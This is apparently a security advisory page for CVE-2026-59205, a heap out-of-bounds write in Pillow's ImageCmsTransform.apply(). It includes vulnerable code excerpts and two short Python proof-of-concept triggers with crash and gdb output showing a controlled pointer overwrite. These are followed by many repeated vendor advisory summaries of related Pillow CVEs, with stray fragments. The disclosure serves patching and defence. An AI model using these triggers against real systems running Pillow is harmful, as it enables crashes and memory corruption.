CVE-2026-59205

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller supplied imOut:

def apply(self, im, imOut=None):
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

If imOut is provided, Pillow does not check:

im.mode == self.input_mode
imOut.mode == self.output_mode

The C wrapper in src/_imagingcms.c unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions:

static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
        return -1;
    }

    for (i = 0; i < im->ysize; i++) {
        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
    }

    pyCMScopyAux(hTransform, imOut, im);
    return 0;
}

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS TYPE_RGBA_8, which writes 4 bytes per pixel:

case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
    return TYPE_RGBA_8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width bytes to each output row. If the supplied output image is mode L, Pillow only allocated 1 * width bytes for that row.

For width 4096:

destination row allocation: 4096 bytes
LittleCMS write size:       16384 bytes
overflow:                  ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, apply() returned to Python and printed after; glibc detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")

Observed locally on Pillow 12.3.0.dev0:

before
after
free(): invalid next size (normal)
Aborted (core dumped)

Controlled overwrite evidence PoC:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)

Run under gdb:

gdb -q --batch -ex run -ex bt --args \
  python3 b022_controlled.py

Observed on Pillow 12.3.0.dev0:

Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of 0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API. …

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

TuxCare rebuilt pillow to address 5 CVEs. Fixed in 11.2.1.post3+tuxcare.

TuxCare rebuilt pillow to address 2 CVEs. Fixed in 10.4.0.post9+tuxcare.

TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.

TuxCare rebuilt pillow to address 2 CVEs. Fixed in 9.5.0.post7+tuxcare.

TuxCare rebuilt pillow to address 4 CVEs. Fixed in 9.4.0.post8+tuxcare.

TuxCare rebuilt pillow to address 8 CVEs. Fixed in 8.4.0.post8+tuxcare.

Prevent decompression bomb when parsing PDF WindowsViewer.get_command injection EPS image infinite loop JPEG2000 image memory usage McIdas out-of-bounds (OOB) read Out-of-bounds (OOB) read when saving 1 mode TGA images Out-of-bounds (OOB) write from large RankFilter sizes Out-of-bounds (OOB) write from Image.paste() Out-of-bounds (OOB) write in ImageCmsTransform Prevent FontFile decompression bomb Prevent GD decompression bomb

This update for python-Pillow fixes the following issues

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).

Root has patched CVE-2026-59205 in the pillow package for Root:PyPI. Multiple fixed versions available.

This update for python-Pillow fixes the following issues

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).

This update for python-Pillow fixes the following issues

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).

This update for python-Pillow fixes the following issues

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch

This update for python-Pillow fixes the following issues:

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-54059: bomb protection bypass via PCF font loading due to Image.frombytes() being called without _decompression_bomb_check() (bsc#1270409).
• CVE-2026-54060: excessive allocation due to FontFile.compile(): Image.new() being called without _decompression_bomb_check() (bsc#1270410).
• CVE-2026-55379: bomb protection bypass via font loading due to Image.new() being called without _decompression_bomb_check() (bsc#1270411).
• CVE-2026-55380: unchecked 4.3 GB C-heap allocation due to image dimensions being accepted without _decompression_bomb_check() in GdImageFile._open() (bsc#1270412).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).

It was discovered that Pillow incorrectly handled map stride values when loading certain McIdas AREA images. An attacker could possibly use this issue to obtain sensitive information or cause a denial of service. (CVE-2026-54058)

It was discovered that Pillow did not properly check for decompression bombs when processing font files. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-54059, CVE-2026-54060, CVE-2026-55379)

It was discovered that Pillow did not properly check for decompression bombs when loading GD image files. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-55380)

It was discovered that Pillow incorrectly validated filter sizes in the rank filter implementation. An attacker could possibly use this issue to cause Pillow to crash or execute arbitrary code. (CVE-2026-59197)

It was discovered that Pillow incorrectly handled image coordinate calculations. An attacker could possibly use this issue to cause Pillow to crash. (CVE-2026-59199)

It was discovered that Pillow did not properly limit the size of decompressed PDF stream data. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-59200)

It was discovered that Pillow incorrectly parsed EPS files containing a negative byte count in the BeginBinary directive. An attacker could possibly use this issue to cause Pillow to hang, resulting in a denial of service. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-59203)

It was discovered that Pillow incorrectly accumulated JPEG2000 tile component widths. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-59204)

It was discovered that Pillow incorrectly validated image mode compatibility in color management transforms. An attacker could possibly use this issue to cause Pillow to crash or execute arbitrary code. (CVE-2026-59205)